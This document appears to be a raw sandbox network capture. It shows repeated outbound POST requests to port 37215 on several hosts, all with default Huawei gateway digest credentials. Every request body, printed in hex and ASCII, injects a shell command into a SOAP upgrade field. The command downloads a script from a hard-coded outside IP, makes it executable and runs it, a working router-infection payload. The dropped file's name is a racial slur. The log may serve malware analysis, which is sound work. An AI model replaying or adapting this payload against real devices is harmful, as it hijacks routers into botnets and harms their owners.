Feb 19, 2024 18:38:06.688265085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.808301926 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.208306074 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816086054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.15	38912	156.241.11.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.774153948 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.336339951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:12.160195112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:15.840049028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.15	54942	156.254.105.24	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.787945986 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
